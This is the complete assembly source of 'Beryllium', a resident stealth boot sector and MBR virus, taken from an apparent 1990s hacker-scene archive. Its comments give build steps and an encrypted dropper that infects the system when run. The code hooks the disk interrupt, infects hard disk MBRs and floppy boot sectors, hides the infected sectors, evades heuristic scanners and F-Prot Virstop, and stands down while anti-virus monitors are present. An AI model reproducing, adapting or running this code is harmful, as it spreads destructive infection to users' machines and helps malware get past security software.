home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SOURCE.ZIP / BERYLIUM.A86 next >
Text File  |  1995-01-01  |  20KB  |  423 lines

  1. ;============================================================================= 
  2. ; Virus Name:  Beryllium 
  3. ;
  4. ;      Notes:  
  5. ;             - resident, stealth, boot sector/MBR infector 
  6. ;             - places only 22 bytes of benign code in a boot sector or MBR 
  7. ;               thereby totally avoiding heuristic alarms even when the virus 
  8. ;               is not resident to provide stealth
  9. ;             - resident virus not detected by F-Prot Virstop due to a
  10. ;               "password" located at installed virus offset 102h 
  11. ;             - detects the presence of A-V monitors and deactivates while
  12. ;               they are present
  13. ;             - MBR and floppy boot sector stealth 
  14. ;             - post-infection MBR write protection 
  15. ;             - functionally infects all floppy formats in drives A and B 
  16. ; To Compile: 
  17. ;             - use shareware A86 assembler
  18. ;             - type "a86 berylium.a86" 
  19. ;             - run the berylium.com file
  20. ;             - encrypted dropper is produced as "dropbery.com" 
  21. ;             - if you desire to infect your system, run dropbery.com
  22. ;============================================================================= 
  23.  
  24. boot            equ     06ad            ;delta offset for boot location
  25. drop            equ     041             ;delta offset for drop of virus
  26. res             equ     0153            ;delta offset for resident location
  27. oldlength       equ     016             ;infection code length (boot sector)
  28. virus_tag1      equ     0c033           ;infection tag (main body code)
  29. virus_tag2      equ     0ea             ;infection tag (boot sector code)
  30.  
  31. ;-----------------------------------------------------------------------------
  32. ; Encrypt - encrypts dropper and creates dropper file
  33. ;-----------------------------------------------------------------------------
  34.  
  35. encrypt:
  36.         mov     bx,offset dropper       ;starting point for encryption
  37.         mov     cl,04                   ;set shift/rotate count
  38.  
  39. scramble_it:
  40.         mov     ax,[bx]                 ;move target word into ax     
  41.         rol     ax,cl                   ;rotate word left "cl" positions
  42.         mov     [bx],ax                 ;move word back to memory
  43.         inc     bx                      ;point to next byte 
  44.         cmp     bx,offset MBR_buffer-2  ;end of code to encrypt?
  45.         jbe     scramble_it             ;if not, do it again
  46.  
  47.         mov     ah,03c                  ;create file function
  48.         xor     cx,cx                   ;attribute = 0 = read/write
  49.         mov     dx,offset file_name     ;point to ASCIIZ file name string
  50.         int     021                     ;create file
  51.         jc      exit_encrypt            ;if flag=fail, exit
  52.  
  53.         mov     bx,ax                   ;load bx with new file's handle
  54.  
  55.         mov     ah,040                  ;write to file with handle
  56.         mov     cx,droplength           ;number of bytes to write
  57.         mov     dx,offset decrypt       ;pointer to data to write
  58.         int     021                     ;write encrypted dropper
  59.         jc      exit_encrypt            ;if flag=fail, exit
  60.  
  61.         mov     ah,03e                  ;close file
  62.         int     021
  63.        
  64. exit_encrypt:
  65.         mov     ax,04c00                ;terminate w/return code
  66.         int     021                     ;terminate program
  67.  
  68. file_name       db "dropbery.com",0     ;ASCIIZ dropper file name
  69.  
  70. ;-----------------------------------------------------------------------------
  71. ; Decrypt - decrypts dropper using a method not currently recognized as 
  72. ; hostile by heuristic scanners 
  73. ;-----------------------------------------------------------------------------
  74.  
  75. decrypt:
  76.         mov     bx,offset MBR_buffer-drop-2 ;starting point for decryption
  77.         mov     cl,04                   ;set shift/rotate count
  78.  
  79. unscramble_it:
  80.         mov     ax,[bx]                 ;move target word into ax       
  81.         ror     ax,cl                   ;rotate word right "cl" positions
  82.         mov     [bx],ax                 ;move word back to memory       
  83.         dec     bx                      ;point to next byte
  84.         cmp     bx,offset dropper-drop  ;end of code to decrypt?
  85.         jae     unscramble_it           ;if not, do it again
  86.  
  87. ;-----------------------------------------------------------------------------
  88. ; Dropper - infects MBR if not already infected and if no A-V monitor program 
  89. ; is present
  90. ;-----------------------------------------------------------------------------
  91.  
  92. dropper:
  93.         push    ds                      ;preserve ds
  94.  
  95.         xor     ax,ax                   ;zero ax
  96.         mov     ds,ax                   ;point data seg. to interrupt vector
  97.                                         ; table
  98.         cmp     byte ptr [040*4+3],0c0  ;int40 segment pointing to ROM?
  99.         pop     ds                      ;restore ds
  100.         jb      exit_dropper            ;if not, do not attempt to infect MBR
  101.  
  102.         mov     ah,035                  ;load ah with installation check byte
  103.         int     013                     ;check for installed virus
  104.         cmp     al,ah                   ;al = ah?
  105.         je      exit_dropper            ;if so, already installed, so MBR must
  106.                                         ; already be infected
  107. drop_it:
  108.         mov     ax,0201                 ;select read-one-sector function
  109.         mov     bx,offset MBR_buffer-drop ;set load offset
  110.         mov     cx,02                   ;cylinder 0, sector 2
  111.         mov     dx,080                  ;fixed disk 0 (C)
  112.         int     013                     ;load to buffer
  113.         jc      exit_dropper            ;if flag=fail, exit
  114.  
  115.         cmp     word ptr [bx+070],virus_tag1 ;beryllium code present?
  116.         je      exit_dropper                 ;if so, exit dropper             
  117.         
  118.         mov     cx,virlength            ;set move count
  119.         mov     si,offset beryllium-drop ;set source address of virus code    
  120.         lea     di,[bx+070]             ;set destination within buffer
  121.         rep     movsb                   ;infect sector in memory
  122.  
  123.         mov     ax,0301                 ;write infected sector to
  124.         mov     cl,02                   ; cylinder 0, sector 2
  125.         int     013
  126.         jc      exit_dropper            ;if flag=fail, exit
  127.  
  128.         mov     ax,0201                 ;read original MBR
  129.         dec     cx                      ; from cylinder 0, sector 1
  130.         int     013
  131.         jc      exit_dropper            ;if flag=fail, exit
  132.  
  133.         mov     ax,0301                 ;write original MBR
  134.         mov     cl,03                   ; to cylinder 0, sector 3
  135.         int     013                     
  136.         jc      exit_dropper            ;if flag=fail, exit
  137.  
  138.         mov     byte ptr [offset head-drop],dh   ;save location (head &     
  139.         mov     byte ptr [offset sector-drop],02 ; sector) of virus in MBR's
  140.                                                  ;  viral bootstrap code    
  141.         mov     cx,oldlength            ;set number of bytes to move
  142.         mov     si,offset newbytes-drop ;set source address of infection code
  143.         mov     di,bx                   ;set destination to MBR in memory 
  144.         cld                             ;clear direction flag (fwd)
  145.         rep     movsb                   ;infect MBR with bootstrap code
  146.  
  147.         mov     ax,0301                 ;write infected MBR to
  148.         inc     cx                      ; cylinder 0, sector 1
  149.         int     013 
  150.  
  151. exit_dropper:
  152.         mov     ax,04c00                ;terminate w/return code
  153.         int     021                     ;terminate program
  154.  
  155. ;-----------------------------------------------------------------------------
  156. ; Beryllium - main body of virus, executes at boot, infects MBR if boot is 
  157. ; from floppy and MBR is not infected, installs virus in memory if not 
  158. ; installed
  159. ;-----------------------------------------------------------------------------
  160.  
  161. beryllium:
  162.         xor     ax,ax                   ;zero ax
  163.         mov     ds,ax                   ;set ds = 0
  164.  
  165.         cli                             ;clear interrupts
  166.         mov     ss,ax                   ;set ss = 0
  167.         mov     bx,07c00                ;set bx to boot code offset
  168.         mov     sp,bx                   ;ditto for sp
  169.         sti                             ;set interrupts
  170.  
  171.         cmp     dl,080                  ;is this a hard drive boot?
  172.         jne     floppy_boot             ;if not, jump to check/infect MBR
  173.  
  174.         mov     ax,0201                 ;if so, load orignal MBR to 7c00h
  175.         mov     cx,03                   ;cylinder 0, sector 3
  176.         int     013                     ;do it
  177.  
  178.         jmp     short install           ;install virus in memory
  179.  
  180. floppy_boot:
  181.         mov     si,offset oldbytes+boot ;load source offset of original bytes
  182.         mov     di,07c3e                ;load destination in boot sector code
  183.         mov     cx,oldlength            ;set number of bytes to move
  184.         push    cx                      ;save it for later
  185.         cld                             ;clear direction (fwd)
  186.         rep     movsb                   ;restore original bytes to boot sector
  187.                                         ;in memory
  188.         mov     ax,0201                 ;select read-one-sector function
  189.         mov     bh,06                   ;set load offset
  190.         inc     cx                      ;cylinder 0, sector 1 (MBR)
  191.         mov     dx,080                  ;fixed disk 0 (C)
  192.         int     013                     ;load MBR to 0:0600h
  193.  
  194.         cmp     byte ptr [0611],virus_tag2 ;MBR infected?
  195.         je      install                    ;if so, install virus in memory
  196.         
  197.         mov     ax,0301                 ;if not, save orig. MBR
  198.         mov     cx,03                   ;at cylinder 0, sector 3
  199.         int     013                     ;write MBR
  200.  
  201.         mov     byte ptr [offset head+boot],dh   ;save location (head &     
  202.         mov     byte ptr [offset sector+boot],02 ; sector) of virus in MBR's
  203.                                                  ;  viral bootstrap code    
  204.         pop     cx                      ;set number of bytes to move
  205.         mov     si,offset newbytes+boot ;set source address of infection code
  206.         mov     di,bx                   ;set destination to MBR in memory 
  207.         rep     movsb                   ;infect MBR
  208.  
  209.         mov     ax,0302                 ;select write-two-sectors function
  210.         inc     cx                      ;cylinder 0, sector 1
  211.         int     013                     ;write infected MBR to sector 1 and
  212.                                         ;continuation of virus to sector 2
  213. install:
  214.         mov     ah,035                  ;load ah with installation check byte
  215.         int     013                     ;check for installed virus
  216.         cmp     al,ah                   ;al = ah?
  217.         je      exec_boot               ;if so, already installed, so jump to
  218.                                         ; execute boot code in memory
  219.         dec     word ptr [0413]         ;lower top-of-mem by 1KB
  220.         int     012                     ;get conventional memory count in #KB
  221.  
  222.         mov     cx,0106                 ;load move and shift values
  223.         shl     ax,cl                   ;calculate segment for virus residence
  224.  
  225.         mov     es,ax                   ;load es with destination segment
  226.         xchg    [013*4+2],ax            ;steal int13 segment
  227.         mov     [offset old13+boot+2],ax ;store original segment in virus
  228.         mov     ax,offset int13-res     ;load res. off. of virus int13 
  229.         xchg    [013*4],ax              ;steal int13 offset
  230.         mov     [offset old13+boot],ax  ;store original offset in virus
  231.  
  232.         mov     si,0870                 ;set source offset
  233.         mov     di,0070                 ;set destination offset
  234.         rep     movsw                   ;move virus to es:0h (9fc0:0000h in 
  235.                                         ; system w/640K conventional memory)
  236. exec_boot:
  237.         jmp     0000:07c00              ;execute boot code
  238.  
  239. ;-----------------------------------------------------------------------------
  240. ; Int13 - responds to installation check from dropper and boot routines, 
  241. ; provides MBR stealth and write-protection, infects floppy if not already
  242. ; infected and if no A-V monitor is present, provides floppy stealth
  243. ;-----------------------------------------------------------------------------
  244.  
  245. chain_int13:
  246.         pop     ds                      ;restore registers
  247.         pop     di
  248.         pop     si
  249.         jmp     short virstop         
  250.         db      078,078                 ;Virstop "password"
  251.  
  252. virstop:
  253.         db      0ea                     ;"jmp far" to location specified in
  254.                                         ; old13
  255. old13   dw      ?, ?                    ;offset and segment of original int13
  256.                                         ; handler
  257. int13:
  258.         cmp     ah,035                  ;installation check?
  259.         jne     MBR_stealth             ;if not, continue
  260.         mov     al,ah                   ;if so, put ah in al for confirmation
  261.         iret                            ; and return
  262.  
  263. MBR_stealth:
  264.         push    si                      ;preserve registers
  265.         push    di
  266.         push    ds
  267.  
  268.         cmp     cx,01                   ;track 0, sector 1?
  269.         jne     chain_int13             ;if not, we're not interested
  270.  
  271.         cmp     dx,080                  ;head 0, fixed disk 0?
  272.         ja      chain_int13             ;if above, exit
  273.         jb      infect_floppy           ;if below, must be floppy access
  274.  
  275.         cmp     ah,03                   ;write to fixed disk MBR?
  276.         je      sim_IO                  ;if so, simulate write
  277.  
  278.         mov     cl,03                   ;point to relocated original MBR 
  279.         call    bios_int13              ;load it to disk I/O buffer
  280.         mov     cl,01                   ;restore cl to point to sector 1
  281.  
  282. sim_IO:
  283.         xor     ah,ah                   ;clear ah and carry flag to simulate
  284.         clc                             ; succcessful write
  285.  
  286. exit_int13:
  287.         pop     ds                      ;restore registers
  288.         pop     di
  289.         pop     si
  290.  
  291.         retf    02                      ;return to calling routine
  292.  
  293. infect_floppy:
  294.         cmp     ah,02                   ;read request?
  295.         jne     chain_int13             ;if not, exit
  296.  
  297.         cmp     dl,01                   ;floppy drive 'A' or 'B'?
  298.         ja      chain_int13             ;if not, exit
  299.  
  300.         call    bios_int13              ;read boot sector
  301.         jc      exit_int13              ;if flag=fail, exit to retry
  302.  
  303.         cmp     byte ptr es:[bx+04f],virus_tag2 ;boot sector infected?
  304.         je      floppy_stealth                  ;if so, hide infection
  305.  
  306.         xor     cx,cx                   ;zero cx
  307.         mov     ds,cx                   ;point ds to system vector table
  308.  
  309.         cmp     byte ptr [040*4+3],0c0  ;int40 pointing to ROM?
  310.         jb      floppy_stealth          ;if not, do not infect boot sector
  311.  
  312.         push    bx                      ;preserve registers
  313.         push    es
  314.  
  315.         push    es
  316.         pop     ds                      ;set ds = es 
  317.  
  318.         push    cs
  319.         pop     es                      ;set es = cs
  320.  
  321.         lea     si,[bx+03e]             ;set source offset to boot sector
  322.         mov     di,offset oldbytes-res  ;set destination to code storage
  323.         mov     cx,oldlength            ;set number of bytes to move/save
  324.         push    cx                      ;save that number for later
  325.         cld                             ;clear direction flag (fwd)
  326.         rep     movsb                   ;store original boot code in virus
  327.  
  328.         mov     [bx],03ceb              ;put jump at start of boot code
  329.  
  330.         mov     al,byte ptr [bx+016]    ;load # sectors/FAT from BPB
  331.         mul     byte ptr [bx+010]       ;multiply by number of FATs
  332.         inc     ax                      ;add boot sector to count
  333.         push    ax                      ;save it for later
  334.         mov     ax,[bx+011]             ;load max. # of files from BPB
  335.         mov     cl,04                   ;divide by 16 to get # of root
  336.         shr     ax,cl                   ; directory sectors
  337.         pop     cx                      ;pop boot sector + FAT sector count
  338.         add     cx,ax                   ;add # of directory sectors
  339.         sub     cx,[bx+018]             ;subtract # of sectors per track
  340.                                         ; to get target sector number
  341.         inc     dh                      ;specify head 1
  342.         mov     cs:byte ptr [offset head-res],dh   ;set newbytes head/sector
  343.         mov     cs:byte ptr [offset sector-res],cl ; values to point to virus
  344.  
  345.         mov     ax,0301                 ;select write-one-sector function
  346.         xor     bx,bx                   ;set offset to point to virus
  347.         call    bios_int13              ;write virus to last root directory
  348.                                         ; sector
  349.         pop     cx                      ;restore registers
  350.         pop     es
  351.         pop     bx
  352.  
  353.         push    cs
  354.         pop     ds                      ;set ds = cs
  355.  
  356.         mov     si,offset newbytes-res  ;point to infection code
  357.         lea     di,[bx+03e]             ;set destination to boot sector code
  358.         rep     movsb                   ;infect boot sector in memory
  359.  
  360.         mov     ax,0301                 ;select write-one-sector function
  361.         inc     cx                      ;track 0, sector 1
  362.         dec     dh                      ;head 0, drive "dl"
  363.         call    bios_int13              ;write infected boot sector
  364.  
  365. floppy_stealth:
  366.         push    cs
  367.         pop     ds                      ;set ds = cs
  368.  
  369.         mov     si,offset oldbytes-res  ;point to stored original boot code
  370.         lea     di,[bx+03e]             ;set destination to boot sector
  371.         mov     cx,oldlength            ;set number of bytes to move
  372.         cld                             ;clear direction flag (fwd)
  373.         rep     movsb                   ;restore original bytes in memory
  374.  
  375.         inc     cx                      ;restore cx to 0001h
  376.  
  377.         jmp     short sim_IO            ;return sanitized boot sector to
  378.                                         ; calling routine
  379. bios_int13:
  380.         pushf                           ;push flags
  381.         cs:
  382.         call    dword ptr [offset old13-res] ;call original int13 handler
  383.         ret                             
  384.  
  385. ;-----------------------------------------------------------------------------
  386. ; Newbytes - the only viral code that actually resides in the boot sector or 
  387. ; MBR.  Its purpose is simply to load the main body of the virus to 0000:0800 
  388. ; and to transfer control to it.  This is the only area that would need to be 
  389. ; modified to avoid anti-viral scan string detection.
  390. ;-----------------------------------------------------------------------------
  391.  
  392. newbytes:
  393.         xor     ax,ax                   ;zero ax
  394.         mov     es,ax                   ;set es = 0 
  395.         mov     ax,0201                 ;select read-one-sector function
  396.         mov     bx,0800                 ;set disk I/O buffer offset
  397.  
  398.         db      0b9                     ;"mov cx,00xx"
  399. sector  db      ?                       ;sector number (xx)
  400.         db      00                      ;track 0 
  401.  
  402.         db      0b6                     ;"mov dh,xx"
  403. head    db      ?                       ;head number (xx)
  404.  
  405.         int     013                     ;load virus to 0000:0800h
  406.  
  407.         jmp     0000:0870               ;jump to execute virus code
  408.  
  409. oldbytes:
  410.         db      oldlength  dup  ?       ;storage location for original first 
  411.                                         ; 22d bytes of the boot sector
  412.                               
  413.         db      0,0,'BERYLLIUM!',0,0    ;credits
  414.  
  415. MBR_buffer:
  416.  
  417. droplength      equ     offset MBR_buffer - offset decrypt
  418. virlength       equ     offset MBR_buffer - offset beryllium
  419. decryptlength   equ     offset MBR_buffer - offset dropper
  420.  
  421.         end     beryllium
  422.